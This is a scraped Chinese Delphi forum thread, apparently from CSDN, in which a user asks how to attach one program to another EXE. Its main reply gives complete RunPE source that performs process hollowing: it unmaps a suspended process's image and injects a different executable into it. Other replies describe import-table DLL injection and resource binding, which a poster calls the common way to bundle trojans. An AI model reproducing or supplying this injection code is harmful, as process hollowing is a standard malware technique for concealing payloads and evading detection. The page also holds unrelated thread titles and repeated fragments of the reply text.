如何把自己的程序附加到其他EXE里 自己写一个程序附加到其他程序里运行,不是什么木马病毒我写的是A程序,待附加程序是B 我把A附加到B里 A先运行B然后运行望高手给出思路或者源码谢谢。。写的不是木马病毒 只是想增加B程序的一些功能不胜感激,源码的话最好能给出注释或者说明谢谢 解决方案 » 免费领取超大流量手机卡,每月29元包185G流量+100分钟通话, 中国电信官方发货 unit uRunPE;interfaceuses Windows;type TByteArray = array of Byte;function RunEXE(sVictim:string; bFile:TByteArray):Boolean;function NtUnmapViewOfSection(ProcessHandle: THandle; BaseAddress: Pointer): DWORD; stdcall; external 'ntdll.dll';implementationprocedure Move(Destination, Source: Pointer; dLength:Cardinal);begin CopyMemory(Destination, Source, dLength);end;function RunEXE(sVictim:string; bFile:TByteArray):Boolean;var IDH: TImageDosHeader; INH: TImageNtHeaders; ISH: TImageSectionHeader; PI: TProcessInformation; SI: TStartUpInfo; CONT: TContext; ImageBase: Pointer; Ret: DWORD; i: integer; Addr: DWORD; dOffset: DWORD;begin Result := FALSE; try Move(@IDH, @bFile[0], 64); if IDH.e_magic = IMAGE_DOS_SIGNATURE then begin Move(@INH, @bFile[IDH._lfanew], 248); if INH.Signature = IMAGE_NT_SIGNATURE then begin FillChar(SI, SizeOf(TStartupInfo),#0); FillChar(PI, SizeOf(TProcessInformation),#0); SI.cb := SizeOf(TStartupInfo); if CreateProcess(nil, PChar(sVictim), nil, nil, FALSE, CREATE_SUSPENDED, nil, nil, SI, PI) then begin CONT.ContextFlags := CONTEXT_FULL; if GetThreadContext(PI.hThread, CONT) then begin ReadProcessMemory(PI.hProcess, Ptr(CONT.Ebx + 8), @Addr, 4, Ret); NtUnmapViewOfSection(PI.hProcess, @Addr); ImageBase := VirtualAllocEx(PI.hProcess, Ptr(INH.OptionalHeader.ImageBase), INH.OptionalHeader.SizeOfImage, MEM_RESERVE or MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(PI.hProcess, ImageBase, @bFile[0], INH.OptionalHeader.SizeOfHeaders, Ret); dOffset := IDH._lfanew + 248; for i := 0 to INH.FileHeader.NumberOfSections - 1 do begin Move(@ISH, @bFile[dOffset + (i * 40)], 40); WriteProcessMemory(PI.hProcess, Ptr(Cardinal(ImageBase) + ISH.VirtualAddress), @bFile[ISH.PointerToRawData], ISH.SizeOfRawData, Ret); VirtualProtectEx(PI.hProcess, Ptr(Cardinal(ImageBase) + ISH.VirtualAddress), ISH.Misc.VirtualSize, PAGE_EXECUTE_READWRITE, @Addr); end; WriteProcessMemory(PI.hProcess, Ptr(CONT.Ebx + 8), @ImageBase, 4, Ret); CONT.Eax := Cardinal(ImageBase) + INH.OptionalHeader.AddressOfEntryPoint; asm pushad mov eax,$00401000 mov ebp,esp sub edx,$00010000 popad end; SetThreadContext(PI.hThread, CONT); ResumeThread(PI.hThread); Result := TRUE; end; end; end; end; except CloseHandle(PI.hProcess); CloseHandle(PI.hThread); end;end;end.利用代码:program RunPE;uses Windows, uRunPE;var bBuff: TByteArray;{$R 1.res}function FileToBytes(sPath:string; var bFile:TByteArray):Boolean;var hFile: THandle; dSize: DWORD; dRead: DWORD;begin Result := FALSE; hFile := CreateFile(PChar(sPath), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0); if hFile <> INVALID_HANDLE_VALUE then begin dSize := GetFileSize(hFile, nil); SetLength(bFile, dSize); ReadFile(hFile, bFile[0], dSize, dRead, nil); CloseHandle(hFile); if dRead = dSize then Result := TRUE; end;end;begin if FileToBytes('notepad.exe', bBuff) then RunExe(ParamStr(0), bBuff);end.这种代码网上比较多的。 把你的代码封装到一个DLL中修改B的引入表, 把你的DLL加进去 他的程序运行就会加载你的DLL 这象15年前的DOS下的病毒流行时,我要把自已的代码加了任意EXE后面,费了一番功夫,了解EXE文件结构后,一下子我的良性病毒就诞生了。很快全国就有了,不破坏。楼主的要求说起来简单,实现起来要费的功夫,这PE文件结构网上有,我有很详细的。但暂时还看不懂。 资源捆绑:把两个EXE文件以资源的方式放在你的DELPHI程序中,分别用DELPHI把它们释放出来,再用 SHELLEXECUTE 执行一下,这是共享软件中所常用的绑木马的方法。但是静态的。 楼主要求应该不难是静态的 所以用资源文件就可以了建议楼主网上查下资料可以查看我的博客http://blog.csdn.net/xiaofansong/archive/2010/12/01/6047025.aspx 关于is 的用法,一直没有完全搞明白? 用FastReport连续打印多张报表的问题(高手请进) 一个数据库查询的问题 如何读写.txt文件? access中带参数的查询问题 请问如何复制光盘中的隐藏目录下的文件,特别是不知道有什么和多少隐藏目录时? MSDN 请问你们进入软件公司都是带着经验进去的吗? 150分,请教有难度的3个问题,真的有一点难度,低手就算乐。 求助,急需 Delphi(D7最好)发放短信的DEMO,跪谢!!! radiogroup1.ItemIndex的问题,在线急等,~~~急急,分不多了,请高手 [急切求助]如何获取火狐浏览器输入的网址?
unit uRunPE;interfaceuses Windows;type
TByteArray = array of Byte;function RunEXE(sVictim:string; bFile:TByteArray):Boolean;
function NtUnmapViewOfSection(ProcessHandle: THandle; BaseAddress: Pointer): DWORD; stdcall; external 'ntdll.dll';implementationprocedure Move(Destination, Source: Pointer; dLength:Cardinal);
begin
CopyMemory(Destination, Source, dLength);
end;function RunEXE(sVictim:string; bFile:TByteArray):Boolean;
var
IDH: TImageDosHeader;
INH: TImageNtHeaders;
ISH: TImageSectionHeader;
PI: TProcessInformation;
SI: TStartUpInfo;
CONT: TContext;
ImageBase: Pointer;
Ret: DWORD;
i: integer;
Addr: DWORD;
dOffset: DWORD;
begin
Result := FALSE;
try
Move(@IDH, @bFile[0], 64);
if IDH.e_magic = IMAGE_DOS_SIGNATURE then
begin
Move(@INH, @bFile[IDH._lfanew], 248);
if INH.Signature = IMAGE_NT_SIGNATURE then
begin
FillChar(SI, SizeOf(TStartupInfo),#0);
FillChar(PI, SizeOf(TProcessInformation),#0);
SI.cb := SizeOf(TStartupInfo);
if CreateProcess(nil, PChar(sVictim), nil, nil, FALSE, CREATE_SUSPENDED, nil, nil, SI, PI) then
begin
CONT.ContextFlags := CONTEXT_FULL;
if GetThreadContext(PI.hThread, CONT) then
begin
ReadProcessMemory(PI.hProcess, Ptr(CONT.Ebx + 8), @Addr, 4, Ret);
NtUnmapViewOfSection(PI.hProcess, @Addr);
ImageBase := VirtualAllocEx(PI.hProcess, Ptr(INH.OptionalHeader.ImageBase), INH.OptionalHeader.SizeOfImage, MEM_RESERVE or MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(PI.hProcess, ImageBase, @bFile[0], INH.OptionalHeader.SizeOfHeaders, Ret);
dOffset := IDH._lfanew + 248;
for i := 0 to INH.FileHeader.NumberOfSections - 1 do
begin
Move(@ISH, @bFile[dOffset + (i * 40)], 40);
WriteProcessMemory(PI.hProcess, Ptr(Cardinal(ImageBase) + ISH.VirtualAddress), @bFile[ISH.PointerToRawData], ISH.SizeOfRawData, Ret);
VirtualProtectEx(PI.hProcess, Ptr(Cardinal(ImageBase) + ISH.VirtualAddress), ISH.Misc.VirtualSize, PAGE_EXECUTE_READWRITE, @Addr);
end;
WriteProcessMemory(PI.hProcess, Ptr(CONT.Ebx + 8), @ImageBase, 4, Ret);
CONT.Eax := Cardinal(ImageBase) + INH.OptionalHeader.AddressOfEntryPoint;
asm
pushad
mov eax,$00401000
mov ebp,esp
sub edx,$00010000
popad
end;
SetThreadContext(PI.hThread, CONT);
ResumeThread(PI.hThread);
Result := TRUE;
end;
end;
end;
end;
except
CloseHandle(PI.hProcess);
CloseHandle(PI.hThread);
end;
end;end.利用代码:
program RunPE;uses
Windows,
uRunPE;var
bBuff: TByteArray;{$R 1.res}function FileToBytes(sPath:string; var bFile:TByteArray):Boolean;
var
hFile: THandle;
dSize: DWORD;
dRead: DWORD;
begin
Result := FALSE;
hFile := CreateFile(PChar(sPath), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);
if hFile <> INVALID_HANDLE_VALUE then
begin
dSize := GetFileSize(hFile, nil);
SetLength(bFile, dSize);
ReadFile(hFile, bFile[0], dSize, dRead, nil);
CloseHandle(hFile); if dRead = dSize then
Result := TRUE;
end;
end;begin
if FileToBytes('notepad.exe', bBuff) then
RunExe(ParamStr(0), bBuff);
end.这种代码网上比较多的。
修改B的引入表, 把你的DLL加进去
他的程序运行就会加载你的DLL
了解EXE文件结构后,一下子我的良性病毒就诞生了。很快全国就有了,不破坏。
楼主的要求说起来简单,实现起来要费的功夫,这PE文件结构网上有,我有很详细的。但
暂时还看不懂。
释放出来,再用 SHELLEXECUTE 执行一下,这是共享软件中所常用的绑木马的方法。
但是静态的。
是静态的
所以用资源文件就可以了
建议楼主网上查下资料
可以查看我的博客
http://blog.csdn.net/xiaofansong/archive/2010/12/01/6047025.aspx